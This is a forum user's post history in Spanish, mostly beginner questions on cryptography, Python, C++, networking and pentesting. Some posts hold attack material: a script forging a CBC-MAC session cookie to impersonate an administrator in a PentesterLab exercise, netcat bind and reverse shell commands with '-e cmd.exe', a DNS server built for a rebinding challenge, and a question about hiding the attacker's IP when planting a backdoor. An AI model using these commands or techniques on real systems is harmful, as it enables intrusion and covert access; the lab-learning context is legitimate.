Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - retr02332

#1
Estoy haciendo un reto en pentesterlab. Lastimosamente no puedo pasar el link (creo, la verdad no se si se pueda hacer esto). Así que procederé a explicar mi duda sin mas, lo mas claro posible.

Código (python) [Seleccionar]
from Crypto.Util.strxor import strxor
import requests
import base64

DOMAIN = "http://ptl-xxxxxxxx-xxxxxxxx.libcurl.so/"

def data2bin(data):
   bytearray_ = bytearray(data.decode("latin-1"), "utf8")
   binaryArray = [bin(byte_).strip("0b").zfill(8) for byte_ in bytearray_]

   return "".join(binaryArray)

def getCookie(domain, endpoint, username):
   response = requests.post(domain+endpoint, data={"username":username, "password":"Password1"}, allow_redirects=False)
   return (username, response.headers["Set-Cookie"].split("=")[1])

username1 = b"administ"
username2 = b"rador\x00\x00\00"

cookie1 = getCookie(DOMAIN, "login.php", username1)[1].replace("%3D", "=").replace("%2B", "+")
decodeCookie1 = base64.b64decode(cookie1)
signature1 = ( decodeCookie1.decode("latin-1").split("--")[1] ).encode()

cookie2 = getCookie(DOMAIN, "login.php", username2)[1].replace("%3D", "=").replace("%2B", "+")
decodeCookie2 = base64.b64decode(cookie2)
signature2 = ( decodeCookie2.decode("latin-1").split("--")[1] ).encode()

padding = b"\x00" * (len(signature1)-len(username2))
badUsername = strxor(signature1, username2+padding) # creo que el error es que el nullbyte deberia ser de 3 bytes
#print(badUsername)
#print(strxor(badUsername, signature1)) (HAY 4 BYTES DE MAS, PERO COMO SON NULL NO DEBERIA INTERPRETRARLOS COMO TAL)
#badUsername = strxor(data2bin(signature1), data2bin(username2))

badCookie = getCookie(DOMAIN, "login.php", badUsername)[1].replace("%3D", "=").replace("%2B", "+")
decodeBadCookie = base64.b64decode(badCookie)
badSignature = ( decodeBadCookie.decode("latin-1").split("--")[1] ).encode()

print("Bad Cookie => " + ( base64.b64encode(b"administrator" + b"--" + badSignature) ).decode() )


El reto consiste en ingresar a la web como el usuario administrador. Claramente no puedo registrarme con ese username.

Se sabe que el web usa CBC-MAC(username) como valor de la cookie de sesión.

La cookie de sesión tiene el siguiente aspecto: username--MAC(username), y esta codificada en base64.

OJO: La web usa un NULL IV para el primer bloque de cifrado.

La vulnerabilidad creo que tiene que ver con los mensajes de longitud variable. Lo que he entendido mas o menos es lo siguiente:

Si tenemos un mensaje M1 de 8 bytes, y tenemos un Y1 que es el resultado del respectivo XOR: Y1 = NULL_IV ⊕ M1. Entonces tenemos un  MAC que sera calculado de la siguiente manera:
MAC(Y1)
. Llamemos al resultado del MAC anterior C1.

Entonces a partir de esto, yo deseo forzar alguna cadena antes de que esta sea cifrada, llamemos a esta cadena Y2. Tenga en cuenta que el M1 ya se proceso y ahora se procesara el segundo bloque de cifrado para un M2.

Por lo tanto si queremos forzar un Y2 de nuestro gusto, tan solo tendríamos que hacer:

C1 ⊕Y2 = M2 (aquí obtenemos un mensaje que cuando entre al algoritmo CBC-MAC, generara el Y2 que queremos)

De ese modo cuando le pasemos el M2 al algoritmo CBC-MAC normalmente obtendremos:

M2 ⊕ C1 = Y2 (obtenemos el Y2  que deseábamos)


Por lo tanto, considero que la cadena administrador fue dividida en 2 partes

       * administ                  (8 bytes block)
       * rador\x00\x00\x00  (8 bytes block)


El algoritmo nos dice que el primer bloque se XOR con un NULL IV, pero el segundo bloque se XOR con el C1 del primer bloque.

Por lo tanto si cambiamos el mensaje cambiaremos la firma y es por esto que se toma el ultimo bloque de CBC como MAC. Pero aquí es donde entra lo que dije antes.

Me logeo como administ y recibo un ciphertext que es C1 para ese primer bloque, luego hago rador\x00\x00\x00 ⊕ C1 = Y2 (los byte null es para tener un bloque exacto de 8 bytes)

Entonces creo que lo que debo hacer ahora es juntar administ + Y2 y enviarlo como un username.

Ahora ese Y2 nos servira como mensaje ya que cuando ese Y2 entre al algoritmo CBC-MAC, obtendremos:

Y2 ⊕ C1 = rador\x00\x00\x00 (Aparentemente la misma firma que el usuario administrador)

Según he leído esto hará que tengamos un MAC igual al de administrador y podamos entrar como si fuéramos el.

No entiendo como es que el MAC del username es el correspondiente cifrado de rador\x00\x00\x00, sabiendo que a nivel de backend, esto no es posible porque el segundo bloque no se XOR con un NULL IV, si no con el texto cifrado del bloque anterior C1, por ende es un tanto extraño.

No se si me equivoque en algo. Agradecería me ayudaran a entender este fallo mejor y así poder completar el laboratorio :"D


Si necesitan el link del laboratorio me escriben al DM, entiendan que ese link no es publico y es para evitar implicaciónes legales :"D
#2
Hola a todos

Estoy intentando hacer un servidor DDNS en python sencillo, para probarlo contra un reto en internet de DNS rebinding.

Después de días de investigación pude entender la vuln, pero no he podido configurar un ddns propio usando dnslib en python3 (no tienen una documentación de la libreria)

A continuación les explicare los problemas que tengo:

1. Tengo un código de ejemplo en internet el cual ya logre entender pero no cumple mis expectativas ya que lo que quiero lograr es que este responda con un ip en especifico ante una consulta en especifico no para cualquier dominio, para ello he configurado el server a la escucha en el puerto 53 para que pueda filtrar las consultas entrantes pero no veo que esto tenga efecto cuando uso comandos como nslookup por ejemplo. (por cierto no se si tenerlo en el puerto 53 sea problema y pueda generar errores de algún tipo)

2. Tengo una vps en digital ocean en donde quiero que corra el programa, tengo un dominio inclusive y un servidor http para efectuar el ataque al reto que os comento. Pero lo que digo, no logro alterar la respuesta dns cuando se intenta resolver mi dominio.

Aquí les dejo aquel fragmento de código del que les hable en el punto #1:

Código (python) [Seleccionar]
from dnslib.server import *

class TestResolver:
   def resolve(self,request,handler):
       reply = request.reply()
       reply.add_answer(*RR.fromZone("abc.def. 60 A 1.2.3.4"))
       return reply

resolver = TestResolver()
logger = DNSLogger(prefix=False)
server = DNSServer(resolver,port=53,address="localhost",logger=logger,tcp=True)
server.start_thread()
q = DNSRecord.question("abc.def")
a = q.send("localhost",53,tcp=True)
print(DNSRecord.parse(a))
server.stop()
#3
Hola a todos

Bueno pasa que jugaba un poco con metasploitable 2. me encontraba investigando/estudiando, explotando y solucionando esta falla en dicho sistema. Pero me surgio una pequeña duda y es:

En las definiciones que lei decia que cualquier usuario podia ejecutar comandos sin loguearse, y en el mismo lugar mas abajo decia que para esto, al lado del comando debia especificar el comando y su contraseña. lo que ocasionaria otro problema.

La cosa es... al fin en cual creo? porque cunado lo experimente en esa maquina vulnerable no me registre en ningun momento. asi que esa es mi duda.

Muchas gracias
#4
Hacking / netcat, duda con el tipo de conexiones
16 Agosto 2020, 07:21 AM
Hola a todos.

Tengo una cierta duda con las bind y reverse shell.

(suponiendo kali como atacante y windows 7 como victima)

Conexion directa

windows 7: nc -lvvp 1234 -e cmd.exe
Kali: nc [IP-windows 7] 1234

Conexion reversa

Kali: nc -lvvp 1234
windows 7: nc [IP] 1234 -e cmd.exe

###################################################

Mis dudas son las siguientes:

pregunta 1.¿una conexion directa de windows a kali, es equivalente a una reversa siendo kali el puerto a la escucha?
Se que una conexion reversa es mejor a una directa por muchas cosas como evitar ser filtrado por el firewall, un cambio de ip inesperado por parte del NAT (o hasta del puerto, etc).

Teniendo eso claro, entonces... si windows se conecta a kali de forma directa, a la maquina windows 7...
pregunta 2. ¿tambien presentaria problemas al intentar conectarse conmigo por cosas como mi firewall y asi?

pregunta 3. ¿Asi que la diferencia entre ambos tipos de conexiones radica en quien tiene la bandera "-e shell"?.
¿Es esa entonces la diferencia entre ambos tipos de conexiones?, ¿sobre quien tiene el modificador "-e"?

Muchas gracias
#5
Hacking / Dudas generales de hacking etico
12 Agosto 2020, 02:15 AM
Hola a todos, tnego unas cuantas dudas que no s eme dio muy bien entender por google asi que aqui os traigo.

1. Cifrar archivo .db (cifrado simétrico en mi maquina) aunque las passwords estén hasheadas.

A lo que me refiero es que, por mas que tengo en una base de datos, cuentas con las contraseñas con algun tipo de hash (bcrypt ej.) sigue siendo necesario por ejemplo cifrar de forma simetrica el archivo .db en mi maquina o no es necesario?

2. ¿Puede explicarme mejor lo de la vulnerabilidad de transferencia de zona?

3. ¿Que es eso de lookup? siempre lo veo en todo lo que tiene que ver con DNS ya sea en el curso o recursos externos.

4. ¿Porque cuando configuramos TOR usamos una dirección de loopback (127.0.0.1) y no usamos una IP privada (192.168.0.12 ej.) ?. Lo digo ya que ambas hacen alusión a mi dispositivo (maquina).

Muchas gracias.
#6
Hola a todos.

Pasa que ahora ando leyendo muchos libros, PDF's y haciendo cursos sobre hacking etico y pentesting.

Dado el caso se me plantearon unas cuantas dudas que espero me puedan ayudar a resolver aqui :D

ANTES DE LEER, POR FAVOR, NECESITO ESTAS RESPUESTAS PARA PROCEDER CON ESTE HERMOSO MUNDO, AYUDENME A SUPERAR ESTAS PREGUNTAS :'V

Las dudas son las siguientes:

1. "el orden es fundamental en todo pentester", escucho mucho esa frase... Y me pregunto sobre ¿que plataforma es mejor, o cual es la mas usada para administrar la informacion que vamos recolectando en las primeras dos fases del pentesting y como deberia organizarla?

2. Veo que en muchos cursos o libros primeramente nos guian en la primera fase (footprinting), y luego de repente se pasa a (fingerprinting -enumeracion activa) pero se me hace muy raro ya que... nmap por ejempĺo veo que lo usan en la red donde estoy (local) por lo que supongo que con la informacion que haya recolectado en footprinting ya debia haber evaluado y vulnerado la red victima para proceder con los escaneos de nmap u otros? o que se supone que deberia pasar despues de tener la informacion de manera pasiva y encontrar vulnerabilidades con por ejemplo... shodan.

en sintesis: ¿como es ese paso entre footprinting y fingerprinting o como se supone que deberia ser?

3. Me encuentro practicando C++, (ya manejo python) este lenguaje c++ es mas denso claramente por lo que requiere mucha entrega... pero pasa que en otdo lo que veo sobre practicar en internet ataques web consideran estudiar o saber lenguajes como php, sql, html, y demas... entonces, ¿sigo estudiando c++ o mejor por ahora me inclino por la web y luego retomo c++?

4. por ultimo, he buscado en internet paginas web para auditar, la cosa es que en lo corrido del curso, he aprendido a usar plataformas como ipv4info, robtex, whois, dnsdumpster, shodan, zoomeye, google hacking y bueno unas cuantas mas para tener informacion sobre la infraestructura como tambien posibles vulnerabilidades con shodan o recon-ng. La cosa es que las VM que me encuentro son para atacar un sistema pero no una web como yo quisiera, es decir. Para poder sacar los rangos de red y todo ese proceso como si fuera una auditoria web  real. no se si me entienden..

en sintesis: ¿Donde puedo practicar no solo hacking a sistemas como tal (vm vulnerables como metasploitable) sino que mas bien auditar paginas web. en el sentido de la palabra como les conte. lo mas realista posible para practicar.  COmo sacar lso rangos de red, ver si hay lekas en las cuentas de la empresa, analizar con google hacking la informacion de los empleados. si esto no es posible en un modo prueba (para practicar) al menos que no sea como metasploitable que es solo scanear con nmap (u otras) y demas (asi lo veo no se si estoy equivocado) me gustaria mas usar la fase de footprinting  y no saltarmela y empezar a enumerar como pasaria con vm's como metasploitbale. me entiendes mas ahora ?...
#7
Redes / Tipos de NAT 1,2, 3
16 Julio 2020, 21:59 PM
Hola a todos

Pasa que estudiando sobre la NAT, me encuentro con que en consolas de juegos (no se si en otros dispositivos también), hay algo llamado NAT 1, NAT2, NAT3. Investigando en Internet no logro saber del todo cuales son sus diferencias y porque están presentes (usan/existen). Si alguien sabe agradezco la ayuda :D.

Muchas gracias.
#8
asa que llevo horas en un programa, y de la nada note un error demasiado extraño. Entonces tras horas y horas de buscar, llegue a estas dos clases que hacen lo mismo pero no dan lo mismo (lo esperado mas bien)

No se si de la horas que llevo no veo que es, pero me parece raro esto que esta pasando.

Pido colaboración, el que no funciona es el mio, y el que funciona es el de Internet.

PDTA: Mi implementación también debería devolver 8

Muchas gracias.



class Quick_Tasks():

   def __init__(self,name=None):
       self.name = name

   @property
   def name(self):
       return self.__name

   @name.setter
   def name(self, value):
       if type(value).__name__ == "int":
           self.__value = 8
       else:
           print("nel")


obj = Quick_Tasks("Arroz")
print("")
print(obj.name)
obj.name = 45
print(obj.name)

#########################################################

class TreeNode(object):
   """
   El error es que no pueod usar property con parametros. Debe ser asignacion manual. (ignorar)
   """
   def __init__(self, value = None):
       self.value = value
       self._left_node = None
       self._right_node = None

   @property
   def value(self):
       return self.__value

   @value.setter
   def value(self, value):
       if type(value).__name__ == "int":
           self.__value = 8
       else:
           print("nel")

def main():
   tree_node = TreeNode(3)
   #tree_node.value = 3
   print (tree_node.value)

if __name__ == '__main__':
   print("")
   main()


Citar
Arroz
45

8
#9
Hola a todos, de nuevo...

Me disculpo por preguntar dos veces seguidas, en realidad antes de preguntar de nuevo, me tome la molestia de googlear mucho. Pero realmente sentí que se contradecían las cosas, así que decido volver a preguntar, pero repito.. siento preguntar dos veces seguidas.

Bueno, el código es el siguiente:


#include<iostream>
using namespace std;

int main(){
   int numeros[] = {1,5,9,7,4,3};
   int *dir_numeros;

   dir_numeros = &numeros[0]; // Tambien, por simplicidad podemos colocar 'números', en lugar de '&numeros[0]'

   for(int i=0; i < 6; i++){
       cout<<*dir_numeros++;
   }

   /*
   cout<<*dir_numeros;
   dir_numeros++;
   cout<<*dir_numeros;
   */

   return 0;
}


Tanto lo que esta comentado, como el for que esta en el main, me imprimen lo siguiente:

Citar
159743

Lo que estoy haciendo, es simplemente mostrar los valores del arreglo, pero esta vez, haciendo uso de punteros.

Para no hacer esto tan largo, la duda de acuerdo a lo anterior es la siguiente:

int numero = 5;
int *dir_numero = &numero;

cout<<*dir_numero; "Esto imprime el valor"
cout<<dir_numero; "Esto imprime la dirección de memoria de la variable a la que apunta"

Teniendo eso claro, como es posible que en el for se use el ++ "de incremento" y este me imprima los valores del array?, es decir... Si uno se fija, ahí se esta usando el *, por lo que debería incrementar en uno dicho valor (1++) "porque la dirección que almaceno es la del primer elemento del array, por eso el 1".

En cambio, si vemos lo que esta comentado, es algo que hice yo, que funciona igual, pero que para mi tiene lógica. Porque esta vez lo que incremento es la dirección de memoria a la que apunta el puntero (mas que incrementar, es como seguir a la siguiente dirección de memoria, pues un arreglo almacena los datos de forma contigua, y claro... ahora sí recorrería el arreglo lógicamente.

entonces:

¿Porque el for hace lo mismo que lo que esta comentado, si este lo que incrementa es el valor del arreglo y no su dirección de memoria?

Muchas gracias, y perdón por extenderme.
#10
Hola a todos

Pasa que tengo el siguiente código

#include<iostream>
using namespace std;

int main(){
   int numero = 20;
   int *dirMemory_number;
   dirMemory_number = &numero;

   // Para imprimir el valor y la dirección de memoria de una variable normal.

   cout<<"Numero: "<<numero<<endl;
   cout<<"Dirección: "<<&numero<<endl;

   // Para imprimir el valor y la dirección de memoria de un puntero.

   cout<<"Numero: "<<*dirMemory_number<<endl;
   cout<<"Dirección: "<<&dirMemory_number<<endl;

   return 0;
}


Y esta es su respectiva salida:

CitarNumero: 20
Dirección: 0x7ffcd7ea466c
Numero: 20
Dirección: 0x7ffcd7ea4660


Los punteros, según tengo entendido, almacenan la dirección de memoria de otra variable. Ahora, si vemos mi código, podrán ver que son dos direcciones de memoria diferentes.

¿Es un error de mi código, o porque es que las direcciones no son iguales?

Muchas gracias.

#11
Hacking / Matemáticas en el pentesting
9 Mayo 2020, 21:42 PM
Hola a todos

Pasa que un hacker muy reconocido en españa (me guardo el ID), me hablo sobre que las matemáticas no se usan realmente en el pentesting. El es muy reconocido y ha hecho cosas increíbles.

Por otro lado, en algunos foros veo que personas opinan que si es necesario, pero hay que reconocer que la seguridad informática se divide en muchos campos, y claro... Depronto en uno que otro si sea algo necesario. Pero en el pentesting, no lo veo tan necesario y ademas me lo dijo un experto. ¿Que opinan ustedes?, Se que para la criptografia y eso se necesita, pero para el pentesting me parece se requiere mas de otro abanico de habilidades tales como sistemas operativos, redes, programación, etc.

Si aquí hay alguien que se dedique a el pentesting, por favor, con honestidad. ¿Que piensan sobre las matemáticas en el pentesting?
#12
Redes / Anonimato - fugas DNS
20 Abril 2020, 03:01 AM
Hola a todos !!!

Pasa que estoy haciendo un script de python, en el que parte fundamental es el anonimato y la privacidad..

Configuro los proxies de la lib requests con TOR, hasta ahi pensaba que era anónimo.

Digo "pensaba", porque navegando vi el siguiente enlace: https://www.dnsleaktest.com/what-is-a-dns-leak.html

Dicho enlace hablaba sobre las fugas DNS, básicamente que es un puerto CREO, dentro de mi pc, en donde mi ISP aun puede tener mi trafico. ¿Como puedo arreglar esto?

Mi pregunta es: ¿Que TOR no me daba suficiente anonimato y privacidad?, ¿No es suficiente navegar por TOR para ser anónimos y tener privacidad?, de ser así, ¿Que otros aspectos debo tener en cuenta para tener realmente privacidad y anonimato?

Se que nunca existirá al completo el anonimato y la privacidad. Pero si debe de haber me imagino... una mejor forma de hacerlo, no? Al menos eso pensé cuando leí aquella situación.

Muchas gracias.

PDTA: si tienen algunos docs de obtención de información y enumeración pasiva/activa de sistemas en español, por favor mandenmelos :3
#13
Hola a todos !!!

¿como puedo saber, que ip's hay dentro de un rango de red?

Muchas gracias.
#14
Hacking / shodan y los rangos de red
18 Abril 2020, 16:10 PM
Hola a todos

Pasa que estoy aprendiendo la fase de enumeracion pasiva, (para ello uso shodan) pero este solo escanea una ip (a través de su API).

Yo tengo puros rangos de red de la fase de obtención de información, y ese es el problema...

No se como sacar las ip de estos rangos de red, para pasárselos a shodan, o al menos, como hago para realizar esta parte del ejercicio..

salu2 :3
#15
Hola a todos !

Pasa que tengo esto:

def clear(self, update, context):
      context.bot.delete_message(chat_id=message.chat_id,message_id=message.message_id)

Pero eso solo me sirve para borrar el ultimo mensaje del chat, pero yo deseo es borrar todo el chat completo, ¿Que puedo hacer?

muchas gracias.
#16
Criptografía / diferencia entre IV y Nonce
21 Febrero 2020, 19:55 PM
En internet se refieren a estos dos terminos como similares, en realidad nunca llegan a una conclusion especifica de en que se difieren ( o quiza si lo hacen pero no me doy cuenta o logro entender ), el motivo aqui es, podrian decirme las diferencias puntuales de estos dos terminos?

cuando busco generalmente dicen que referirse a los dos terminos esta bien, asi que estoy perdido.

muchas gracias.
#17
veo estos dos terminos en criptografia:

ad = datos asociados
aad = datos autenticados adicionales

Parecen similares, son estos iguales o distintos?

En que se diferencian?

#18
Tengo una pregunta sobre los encabezados en criptografía. En python, en el módulo pycryptodome, estoy haciendo cifrado simétrico, que pide un encabezado que dice lo siguiente:

# python 3.7.5

Cipher = Crypto.Chiper.AES.new(key)
Cipher.update(HEADER)

Mi pregunta es, ¿cómo configuro el encabezado correctamente? He visto ejemplos de simplemente poner un str, como, y nunca explicar más allá de para qué son, porque debería usarlos, cómo debería usarlos, etc. Si necesito saber cómo usarlos correctamente, porque debería utilízalos, entiendo que son datos asociados que están vinculados o relacionados con el contenido que se va a cifrar.
#19
Hola a todos

pasa que las directivas del preprocesador de c++ son muy variadas, aqui la sintaxis de lo que les hablo:

<something>, <something.h>, <csomething>, <something.cpp>, <something.c>

como ven hay muchas, no logro entender cuando debo usar uno de estos.

que diferencia hay entre .h y .c?

hay algun tipo de .h para c++ entonces?

Muchas gracias.
#20
Hola a todos

Hay un software para flashear estos celulares, solo hay que conectarlos a la pc y al timepo presionar tecla vol+, la cosa es que todo va bien, ya instale los drivers y todo, pero al llegar a 94% se queda congelado y salta error.

En internet muchos se quejan de esto pero no hay solucion alguna al parecer.

sino saben de lo  que les hablo, solo busquen en youtube este link :

https://www.youtube.com/watch?v=3FgbN1ebcIo&t=2s

Si alguien sabe la solcuion, por favor, ayudadme.

salu2.
#21
Hola a todos

Me preguntaba, en la actualidad es seguro usar ghidra para tareas de ingenieria inversa?

Es open source asi que podemos ver sus huesos si, pero en internet dicen que estos tienen backdoors, etc.

Recomiendan ustedes usar esta poderosa herramienta para ingenieria inversa?

Gracias :3
#22
Scripting / bash y python (cual usar) ???
29 Enero 2020, 21:13 PM
Hola a todos

Ultimamente se me ha generado una duda respecto a cual usar en el sentido de que muchas veces veo en codigos de github, un install.sh o cosas por el estilo.

Ahi me surgio la duda de...

porque no usaron python?, sera cuestion de convencion?, o esto tiene un proposito mas alla??

si yo deseo crear carpteas y guardar cosas dentro, esto lo podria hacer tanto con bash como con python, o si yo deseo instalar ciertos requerimientos para que mi software funcione, tambien lo puedo hacer con python (y bash claro). Entonces si yo se python, es necesario que aprenda bash?

Muchas gracias.
#23
Hola a todos

¿ Es mejor usar el argumento "noconsole" como parámetro en el PyInstaller ?, ¿ O es mejor usar:

window = win32console.GetConsoleWindow ()

win32gui.ShowWindow (window, 0)

???

Muchas gracias.
#24
Hola a todos

He visto que hay una agencia interna en EE.UU que gestiona absolutamente todo lo qye pasa en internet, es vigilancia masiva, mi pregunta es, que rompen los cifrados?

Es decir, nuestra info se supone esta cifrada, como es que ellos pueden gestionarla?

Otra duda es con los ransomware, he visto desencriptadores e incluso compañias que se encargan de descifrar el disco o los archivos.

Como rompen el cifrado?

AES 256 y ECDHE no son tan seguros como parece o que sucede?
#25
He buscado mucho en Internet y veo que se recomienda encarecidamente c para esta tarea, pensé que era mejor c ++ por el hecho de incluir el POO.

También he leído que estos dos son ciertamente compatibles, pero no sé en qué ni hasta que medida. Ojalá puedan guiarme un poco con esto, estoy algo confundido.
#26
Hola a todos

¿Hay alguna libreria que me ayude a implementar el algoritmo ECDHE  (criptografia) en python 3?

Muchas gracias.
#27
Tengo un problema a la hora de mostrar el menu de ayuda de mi script.



Como pueden ver, justo despues de (-sd,-cd,-ca,-mkdir,-ma) hay un molesto [ [...]]

¿Como puedo eliminar esto, para que asi quede muhco mas limpio mi menu de ayuda?

Muchas gracias.


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse

class Config_args():

   def __init__(self):

       parser = argparse.ArgumentParser(description = "Gestor CMD")

       parser.add_argument("-md","--make_dir",help = "crear un directorio",metavar = '')

       parser.add_argument("-a","--archive",help = "crear un archivo",metavar = '')

       parser.add_argument("-dd","--del_dir",help = "borrar un directorio",metavar = '')

       parser.add_argument("-da","--del_archive",help = "borrar un archivo",metavar = '')

       parser.add_argument("-e","--entry",help = "entrar en un directorio",metavar = '')

       parser.add_argument("-sf","--search_file",help = "buscar un archivo",metavar = '')

       parser.add_argument("-sd","--search_dir",help = "buscar un directorio",nargs = "*",metavar = '')

       parser.add_argument("-cp","--change_path",help = "cambiar de ruta",metavar = '')

       parser.add_argument("-cd","--copy_dir",help = "copiar un directorio",nargs = "*",metavar = '')

       parser.add_argument("-ca","--copy_archive",help = "copiar un archivo",nargs = "*",metavar = '')

       parser.add_argument("-mdir","--move_dir",help = "mover un directorio",nargs = "*",metavar = '')

       parser.add_argument("-ma","--move_archive",help = "mover un archivo",nargs = "*",metavar = '')

       parser.add_argument("-mss","--message",help = "introducir texto dentro de un archivo",nargs = "*",metavar = '')


       self.args = parser.parse_args()
#28
Hola a todos

He creado un script de python llamado "servidor.py" este basicamente crea un puerto en local en el 7000.

quisiera ver el trafico que pasa por dicho puerto, ya que tengo otro script llamado "cliente.py", y en este mando mansajes al servidor.

¿como puedo ver el trafico con wireshark?

hay algun filtro para especificar el puerto?

el servidor es un socket de familia ipv4 y tipo tcp

Muchas gracias
#29
Hola a todos

Estoy usando AES-128 debido a que el modo de cifrado GCM solo funciona con este numero de bits, pero me surgió una duda a partir de este modo de cifrado.

El modo de cifrado GCM, realiza también una firma digital ?

El modo de cifrado GCM, es efectivo contra ataques de replay ?

El hecho de que este modo de cifrado solo acepte un AES-128 lo hace menos eficiente? (seria mejor usar AES-256, no?)

Muchas gracias.
#30
Criptografía / Dudas sobre criptografia
27 Diciembre 2019, 04:47 AM
Hola a todos

Durante mi recorrido aprendiendo de este interesante mundo de la criptografia, me he topado con varias preguntas las cuales son:

Existen diferente formas de realizar un MAC, pero sin duda la mas usada y eficiente en muchos casos es HMAC, este sirve para verificar que el mensaje no ha sido alterado. Regularmente se usa un hash como sha-256, sha-512 o bcrypt.

Ahi va mi primera duda, bcrypt nunca genera el mismo hash, ¿como hago para ver si el hash del emisor es igual al del receptor si estos nunca seran iguales (debido a que implementan una SALT)?

Tambien me genera otra duda que es sobre el hashing:

Hay 2 tipos de hash, esta el hash normal y el hash criptografico

Segun veo la unica diferencia entre estos es que el hash criptografico  es mas resistente a las colisiones y  tiene como objetivo garantizar una serie de propiedades de seguridad.

Es esto cierto?

cuando uso cada uno?, y como hago para saber que algoritmos de hashing (como bcrypt, sha, etc) corresponden a cada una de estas?

Por ultimo, tenia una duda con la llamada "Firma Digital":

basicamente a diferencia de "HMAC" estas no buscan verificar si el mensaje ha sido o no alterado, La firma digital lo que busca es verificar que el mensaje haya llegado del remitente(emisor) acordado, para asi evitar fraudes.

Segun veo en la documentacion, lo que se hace para esto es hashear el mensaje (ya que el cifrado asimetrico funciona mucho mejor y mas rapido si se usa esa llave publica para cifrar el mensaje hasheado, que en claro, pues ahorra recursos computacionales) y despues de esto se cifra el hash del mensaje con la llave publica del receptor ( firma digital ), despues de esto el receptor genera el hash del mensaje (No se como lo haran con brypt, puesto que este cambia siempre y nunca es el mismo por la SALT, ademas no se si el mensaje esta en claro o cifrado, pero genera un hash de este), luego descifra el hash ( firma digital ) con la llave privada del receptor y compara estos dos valores, (el hash del mensaje no se si se genera a partir del mensaje en claro o cifrado, pero lo genera) para de esta forma verificar que sea aquel emisor el que se lo envio.

Estoy en lo correcto sobre las firmas digitales?

He leido que es mejor usar sha-512 que bcrypt, ya que bcrypt no esta en todos lo sistemas operativos o no es compatible con todo, y en cuanto a usar sha-256 o sha-512 la diferencia radicaba en el que si el pc era de 32bits usara mejor sha-256, pero si usaba un pc de 64 bits, usara mejor sha-512, por cuestiones de velocidad y rendimiento.

Entonces uso bcrypt, sha 256 o sha-512?

PDTA: favor resolver las dudas que se me presentan en los parentesis a excepcion de estos -> (como bcrypt, sha, etc) y (Firma Digital) por favor.

Muchas gracias.
#31
Hola a todos

Es muy raro que la criptografia hibrida sea mas rapida, claramente es mas segura, pero rapida?

Es decir la simetrica es rapida e insegura, la asimetrica es lenta pero segura, la hibrida reune lo mejor de las 2. (Hace el proceso simetrico y asimetrico)

Si la criptografia hibrida hace ambos procesos (simetrico y asimetrico), ¿como es que esta es mas rapida?

Muchas gracias.


#32
Hola a todos

Mi pregunta es la siguiente:

¿La criptografia híbrida es mucho mejor que la simétrica y/o asimétrica?, con esto me refiero a que si la criptografia híbrida es la mas usada, mas segura, mas recomendada, etc.

muchas gracias.
#33
Criptografía / AES vs BLOWFISH
26 Diciembre 2019, 05:02 AM
Hola a todos

¿Cual es el mejor método de cifrado para el 2019?

AES es un método o algoritmo de cifrado que usa el gobierno de los EE.UU, pero blowfish tiene una Longitud de clave: Variable: de 32 a 448 bits. En cambio AES tiene una Longitud de clave: 128, 192 y 256 bits.

Pero no solo es la longitud de clave variable, otro aspecto a tener en cuenta es que AES tiene un Tamaño de bloque: 128 bits. Mientras que blowfish tiene un Tamaño de bloque: 128 bits.

Teniendo esto en cuenta, cual es mejor?

Cual es mas seguro y mas efectivo?

También les pido el favor de que si existe algún estándar o guía a seguir sobre los métodos, algoritmos y/o modos de cifrado, etc. Por favor compartan ese link o nombre de la pagina para estar actualizado.

Muchas gracias.
#34
En python3, en la libreria pycrypto, hay multiples modos de operacion, pero la pregunta es:

¿cual debo usar y porque?.

Muchas gracias.
#35
Criptografía / librerías de cifrado para python3
23 Diciembre 2019, 03:04 AM
Una pregunta, existen librerías de cifrado para python3 que sean seguras?
#36
Hola a todos.

No soy un experto en python, pero si es verdad que ya lo manejo bien, sin embargo aun me falta mucho por aprender.

Pero mi duda es, ¿debería empezar a aprender otro? (puesto que los programadores deberían saber mas de un lenguaje), o ¿debería perfeccionar el que ya se?

Me oriento mas por el hacking, es por eso que inicie con python (aun me falta aprender mucho tanto de desarrollo normal, como de desarrollo de herramientas de hacking)

Por cierto, ese otro lenguaje que deseo aprender, puede ser php o js

con esto claro que me recomendarían?

Muchas gracias
#37
Hola a todos.

Quisiera saber que módulos o que técnicas existen para poder darle color a las salidas por terminal desde python (3.5-3.7).

Muchas gracias.
#38
Hola a todos

Se que es una vpn, una vpn crea conexiones privadas entre dos puntos utilizando una red publica como internet y esta tuneliza el trafico de manera cifrada.

Pero que tiene que ver esto con poder ver sitios que se encuentren censurados en mi país?

Muchas gracias.
#39
Scripting / Decoradores en python
3 Diciembre 2019, 22:04 PM
Hola a todos

Tengo una pregunta en cuanto a los decoradores en python3, se que son,para que son, como se usan (su sintaxis), eso lo tengo claro.

se poner algo muy básico como un print antes y después de la función a decorar, pero y si en vez de un simple print deseo iniciar un servidor socket antes y después de la función a decorar?  La función a decorar lo que hace es conectarse justo después de ser creada, pero como esta aun no se ha abierto un socket, es ahí donde entraría el decorador para ampliar su funcionalidad, pero que creen? no he podido lograrlo, si me dieran un ejemplo sencillo se los agradecería.

Que tengan buen día.
#40
Una pregunta, de que manera se puede ocultar una ip en una backdoor, es decir, si le instalo una backdoor a alguien y esa persona hace un netstat vera mi ip ahi y me podra rastrear.

Tengo esa tarea en la universidad xd, agradezco ayuda.
#41
Scripting / Duda con el modulo os de python3
30 Noviembre 2019, 05:15 AM
def root_check(self):
      try:
         check = os.listdir(os.sep.join([os.environ.get("SystemRoot",r'C:\windows'),'temp']))
         #check = os.listdir(r"C:\Windows\Temp")
      except:
         self.admin = "\nNo eres usuario root."
      else:
         self.admin = "\nEres usuario root."

La parte que esta comentada la hice yo, porque no entiendo muy bien lo que esta a la derecha del igual de check, es decir. Desde os.listdir hasta Temp.

os.listdir lista el directorio, tal cual como hacer un dir.

pero desde os.sep.join empieza lo desconocido.

Agradeceria que me dieran sus conocimientos respecto a esta duda, y como ingrediente final, me guataria saber porque se usa os.sep.join y no os.path.join?.

sin mas que decir, muchas gracias y que tengan un excelente dia.
#42
Scripting / Duda con el modulo email de python3
30 Noviembre 2019, 05:08 AM
def send_email(self,cliente):

      server = smtplib.SMTP("smtp.gmail.com",587) # 465/ssl; 587/tls(statrtls) --smtp
      server.ehlo()
      server.starttls()
      server.ehlo()
      server.login(cliente.email_in,cliente.password)

tengo una duda con el metodo .ehlo()?

Alguien sabe para que sirve dicho metodo?
